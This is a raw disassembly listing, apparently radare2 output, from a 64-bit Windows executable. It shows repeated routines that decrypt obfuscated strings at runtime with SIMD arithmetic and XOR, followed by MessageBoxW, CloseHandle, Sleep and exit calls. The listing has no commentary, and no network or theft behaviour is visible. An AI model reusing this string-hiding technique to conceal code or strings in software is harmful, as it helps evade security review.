jge 0x14002bf16
jmp 0x14002aac0
call fcn.140019280
call fcn.140019bf0
movups xmm2, xmmword [str._9dGYT_JIeRRJ]
movups xmmword [rbp + 0x298], xmm2
mov edx, dword [0x14008b818]
mov dword [rbp + 0x2a8], edx
movzx eax, word [0x14008b81c]
mov word [rbp + 0x2ac], ax
mov r8d, ebx
cmp r12d, 2
jl 0x14002ad69
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x298], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x29c]
xorps xmm11, xmm1
movd dword [rbp + 0x29c], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rbp + 0x2a0]
xorps xmm10, xmm1
movd dword [rbp + 0x2a0], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp + 0x2a4]
xorps xmm13, xmm1
movd dword [rbp + 0x2a4], xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, ecx
paddb xmm15, xmm0
movd xmm1, edx
xorps xmm15, xmm1
movd dword [rbp + 0x2a8], xmm15
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x298]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14002ad80
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0x1060]
call fcn.140005370
nop
mov r8d, 0xff
lea rdx, [rbp + 0x1060]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0x1060]
call fcn.140043300
movups xmm0, xmmword [str._9yT_R]
movups xmmword [rbp + 0xb68], xmm0
movups xmm1, xmmword [0x14008a750]
movups xmmword [rbp + 0xb78], xmm1
movups xmm0, xmmword [0x14008a760]
movups xmmword [rbp + 0xb88], xmm0
movsd xmm0, qword [0x14008a770]
movsd qword [rbp + 0xb98], xmm0
movzx eax, word [0x14008a778]
mov word [rbp + 0xba0], ax
cmp r12d, 2
jl 0x14002af45
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xb68]
mov edx, dword [rbp + 0x1320]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp ebx, 0x38
jl 0x14002ae51
cmp ebx, 0x3a
jge 0x14002af80
movsxd rax, ebx
lea r8, [rbp + 0xb68]
add r8, rax
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x3a
jl 0x14002af52
lea rdx, [rbp + 0xb68]
lea rcx, [rbp + 0x1040]
call fcn.140005370
nop
mov r8d, 0xff
lea rdx, [rbp + 0x1040]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0x1040]
call fcn.140043300
nop
lea rcx, [rbp + 0x1500]
call fcn.140003c20
nop
lea rcx, [rbp + 0x14b8]
call fcn.140043300
nop
lea rcx, [rbp + 0x1498]
call fcn.140003c20
nop
lea rcx, [rbp + 0x1470]
call fcn.140043300
nop
lea rcx, [rbp + 0x13b0]
call fcn.140043300
nop
lea rcx, [rbp + 0x1390]
call fcn.140043300
nop
lea rcx, [rbp + 0x13f0]
call fcn.140043300
jmp 0x14001f5c7
movups xmm0, xmmword [0x14008c130]
movups xmmword [rbp + 0x938], xmm0
movups xmm1, xmmword [0x14008c140]
movups xmmword [rbp + 0x948], xmm1
movzx eax, byte [0x14008c150]
mov byte [rbp + 0x958], al
cmp r12d, 2
jl 0x14002b154
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x938]
mov edx, dword [rbp + 0x1320]
nop
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp ebx, 0x20
jl 0x14002b060
cmp ebx, 0x21
jge 0x14002b18f
movsxd rax, ebx
lea r8, [rbp + 0x938]
add r8, rax
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x21
jl 0x14002b161
lea rdx, [rbp + 0x938]
lea rcx, [rbp + 0xf40]
call fcn.140005370
nop
mov r8d, 0xff
lea rdx, [rbp + 0xf40]
mov rcx, qword [rbp + 0x228]
call fcn.1400054b0
nop
lea rcx, [rbp + 0xf40]
call fcn.140043300
nop
lea rcx, [rbp + 0x14b8]
call fcn.140043300
nop
lea rcx, [rbp + 0x1498]
call fcn.140003c20
nop
lea rcx, [rbp + 0x1470]
call fcn.140043300
nop
lea rcx, [rbp + 0x13b0]
call fcn.140043300
nop
lea rcx, [rbp + 0x1390]
call fcn.140043300
nop
lea rcx, [rbp + 0x13f0]
call fcn.140043300
mov al, 1
jmp 0x14001f5c9
movups xmm0, xmmword [str._VGAWEL]
movups xmmword [rbp + 0x910], xmm0
movups xmm1, xmmword [0x14008af20]
movups xmmword [rbp + 0x920], xmm1
movzx eax, byte [0x14008af30]
mov byte [rbp + 0x930], al
cmp r12d, 2
jl 0x14002b364
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x910]
mov edx, dword [rbp + 0x1320]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp ebx, 0x20
jl 0x14002b270
cmp ebx, 0x21
jge 0x14002b39f
movsxd rax, ebx
lea r8, [rbp + 0x910]
add r8, rax
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x21
jl 0x14002b371
lea rdx, [rbp + 0x910]
lea rcx, [rbp + 0xe40]
call fcn.140005370
nop
mov r8d, 0xff
lea rdx, [rbp + 0xe40]
mov rcx, rdi
call fcn.1400054b0
nop
lea rcx, [rbp + 0xe40]
jmp 0x14002b1d1
mov rdx, qword [rbp + 0x1488]
cmp rdx, 0xf
jbe 0x14002b416
inc rdx
mov rcx, qword [rbp + 0x1470]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b411
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bfab
call fcn.1400529f0
mov qword [rbp + 0x1480], rbx
mov qword [rbp + 0x1488], 0xf
mov byte [rbp + 0x1470], 0
jmp 0x14002685e
movsd xmm0, qword [str.wAFZD7]
movsd qword [rsp + 0x78], xmm0
mov eax, dword [0x14008a500]
mov dword [rbp - 0x80], eax
mov edx, 0x45
mov word [rsp + 0x78], dx
xor word [rsp + 0x7a], 0x33
xor word [rsp + 0x7c], 0x34
xor word [rsp + 0x7e], 0x35
xor ax, 0x36
mov word [rbp - 0x80], ax
xor word [rbp - 0x7e], 0x37
movups xmm4, xmmword [str.tZXP]
movups xmmword [rbp + 0x578], xmm4
movups xmm0, xmmword [0x14008aa50]
movups xmmword [rbp + 0x588], xmm0
movq xmm5, qword [0x14008aa60]
movq qword [rbp + 0x598], xmm5
movzx eax, word [0x14008aa68]
mov word [rbp + 0x5a0], ax
mov r8d, ebx
cmp r12d, 2
jl 0x14002b6e4
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
pshufhw xmm0, xmm8, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x578], xmm3
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
pshufhw xmm0, xmm11, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x580]
xorps xmm3, xmm0
movq qword [rbp + 0x580], xmm3
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
pshufhw xmm0, xmm10, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x588]
xorps xmm3, xmm0
movq qword [rbp + 0x588], xmm3
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
pshufhw xmm0, xmm13, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x590]
xorps xmm3, xmm0
movq qword [rbp + 0x590], xmm3
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
pshufhw xmm0, xmm15, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp + 0x598], xmm3
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x578]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x14002b700
mov r9d, r13d
lea r8, [rsp + 0x78]
lea rdx, [rbp + 0x578]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp + 0x13c8]
cmp rdx, 0xf
jbe 0x14002b790
inc rdx
mov rcx, qword [rbp + 0x13b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b78b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bc52
call fcn.1400529f0
mov qword [rbp + 0x13c0], rbx
mov qword [rbp + 0x13c8], 0xf
mov byte [rbp + 0x13b0], 0
mov rdx, qword [rbp + 0x13a8]
cmp rdx, 0xf
jbe 0x14002631f
inc rdx
mov rcx, qword [rbp + 0x1390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002631a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf39
jmp 0x14002631a
movsd xmm0, qword [0x14008a808]
movsd qword [rbp - 0x50], xmm0
mov ecx, dword [0x14008a810]
mov dword [rbp - 0x48], ecx
movzx eax, word [0x14008a814]
mov edx, 0x45
mov word [rbp - 0x50], dx
xor word [rbp - 0x4e], 0x33
xor word [rbp - 0x4c], 0x34
xor word [rbp - 0x4a], 0x35
xor cx, 0x36
mov word [rbp - 0x48], cx
xor word [rbp - 0x46], 0x37
xor ax, 0x38
mov word [rbp - 0x44], ax
movups xmm0, xmmword [0x14008bf60]
movups xmmword [rbp + 0xc00], xmm0
movups xmm1, xmmword [0x14008bf70]
movups xmmword [rbp + 0xc10], xmm1
movups xmm0, xmmword [0x14008bf80]
movups xmmword [rbp + 0xc20], xmm0
movups xmm1, xmmword [0x14008bf90]
movups xmmword [rbp + 0xc30], xmm1
mov eax, dword [0x14008bfa0]
mov dword [rbp + 0xc40], eax
movzx eax, word [0x14008bfa4]
mov word [rbp + 0xc44], ax
cmp r12d, 2
jl 0x14002b99a
lea rcx, [rbp + 0xc00]
nop
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add ebx, 8
lea rcx, [rcx + 0x10]
lea r14d, [r14 + 8]
cmp ebx, 0x20
jl 0x14002b8a0
cmp ebx, 0x23
jge 0x14002b9e2
movsxd rax, ebx
lea r8, [rbp + 0xc00]
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, bx
sub ax, cx
add ax, 0x32
xor word [r8], ax
inc ebx
lea r8, [r8 + 2]
cmp ebx, 0x23
jl 0x14002b9b0
mov r9d, r13d
lea r8, [rbp - 0x50]
lea rdx, [rbp + 0xc00]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, qword [rbp + 0x12d8]
test rcx, rcx
je 0x14002b217
call fcn.14005f0e0
mov al, 1
jmp 0x14001f5c9
movups xmm0, xmmword [str._BTZ_]
movups xmmword [rbp + 0x9e0], xmm0
movups xmm1, xmmword [0x14008aa98]
movups xmmword [rbp + 0x9f0], xmm1
movups xmm0, xmmword [0x14008aaa8]
movups xmmword [rbp + 0xa00], xmm0
movzx eax, byte [0x14008aab8]
mov byte [rbp + 0xa10], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002bb69
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x9e0]
mov edx, dword [rbp + 0x1320]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp r8d, 0x30
jl 0x14002ba70
cmp r8d, 0x31
jge 0x14002bbb3
movsxd rax, r8d
lea r9, [rbp + 0x9e0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x14002bb80
xorps xmm0, xmm0
movups xmmword [rbp + 0x860], xmm0
mov qword [rbp + 0x870], rbx
mov qword [rbp + 0x878], rbx
lea rax, [rbp + 0x9e0]
inc r15
cmp byte [rax + r15], 0
jne 0x14002bbd2
mov r8, r15
lea rdx, [rbp + 0x9e0]
lea rcx, [rbp + 0x860]
call fcn.1400053b0
nop
mov r8d, 0xff
lea rdx, [rbp + 0x860]
mov rcx, rdi
call fcn.1400054b0
nop
mov rdx, qword [rbp + 0x878]
cmp rdx, 0xf
jbe 0x14001f5c7
inc rdx
mov rcx, qword [rbp + 0x860]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f5c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf3f
jmp 0x14001f5c2
call fcn.14005ffec
nop
call fcn.140001a30
nop
lea r8, [rbp + 0x740]
lea rdx, [rbp + 0x1320]
lea rcx, str.exists
call fcn.140004580
nop
mov rdx, r9
lea rcx, [rbp + 0x1120]
call fcn.140001c50
lea rdx, [0x140095d90]
lea rcx, [rbp + 0x1120]
call fcn.140054a1c
nop
call fcn.140001a30
nop
call fcn.140001a30
nop
mov rcx, r9
call fcn.1400113a0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.1400587f8
int3
mov rcx, r9
call fcn.1400113a0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.1400587f8
int3
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, eax
paddb xmm13, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm13, xmm0
movd dword [r9 + 0xc], xmm13
mov rcx, r9
call fcn.1400113a0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.1400587f8
int3
mov rcx, r9
call fcn.1400113a0
mov rcx, rdi
